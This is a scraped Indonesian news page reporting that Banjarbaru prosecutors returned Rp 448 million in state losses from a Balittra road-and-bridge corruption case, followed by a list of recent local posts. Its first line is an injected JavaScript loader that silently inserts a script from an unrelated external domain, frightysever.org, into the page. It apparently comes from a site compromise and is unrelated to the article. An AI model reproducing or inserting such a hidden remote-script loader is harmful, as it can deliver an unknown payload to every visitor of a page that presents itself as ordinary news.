(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Hukum

Tim Jaksa Eksekutor Kembalikan Kerugian Negara Rp 100 Juta dari Kasus Korupsi Balittra


KANALKALIMANTAN.COM, BANJARBARU – Untuk kali ketiga, tim jaksa eksekutor Seksi Pidana Khusus Kejaksaan Negeri (Kejari) Banjarbaru, kembali menyetorkan uang denda sebesar Rp 100 juta dari terpidana DA dan MN, dalam perkara tindak pidana korupsi di Balai Penelitian Pertanian Lahan Rawa (Balittra) Banjarbaru.

Sebelumnya tim jaksa eksekutor telah menyetorkan uang rampasan sebesar Rp 80 juta, pembayaran uang pengganti dan denda dari terpidana SF sebesar Rp 268 juta lebih. Serta pembayaran denda sebesar Rp 50 juta dari terpidana MN dan pembayaran uang denda sebesar Rp 50 juta dari terpidana DA.

“Dengan dibayarnya denda dari ketiga terpidana tersebut, maka proses eksekusi atas perkara Balitra Banjarbaru yang dilakukan tim jaksa eksekutor Seksi Pidana Khusus Kejari Banjarbaru telah selesai. Dengan total uang yang berhasil diselamatkan dan disetor ke kas negara adalah sebesar Rp 448 juta lebih,” ungkap Kajari Banjarbaru Andri Irawan, Selasa (21/7/2020).

Dia menerangkan, Perkara tindak pidana korupsi yang dilakukan terpidana SF dan DA yang merupakan pelaksana, serta MN yang merupakan PNS pada Balitra Banjarbaru, berawal dari kegiatan pembuatan jalan usaha tani, pengerasan jalan usaha tani, pengaspalan jalan utama kebun, dan 11 unit pembangunan jembatan. Dengan nilai kontrak sebesar Rp. 1.208.460.000.

 

Baca juga :

“Dari fakta persidangan terbukti bahwa perbuatan mereka merugikan negara sesuai dengan hasil perhitungan dari BPKP Provinsi Kalimantan Selatan. Kerugian keuangan negara tersebut telah dipulihkan seluruhnya, dengan dedikasi dan kerja keras Insan Adhyaksa pada Kejaksaan Negeri Banjarbaru,” terangnya.

Diungkapkannya, dengan penyelamatan uang negara sebesar Rp 448.636.705 sekaligus menjadi kado dalam peringatan Hari Bhakti Adhyaksa ke- 60 tanggal 22 Juli 2020 besok.(kanalkalimantan.com/rico)

 

Reporter : Rico
Editor : Bie

Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.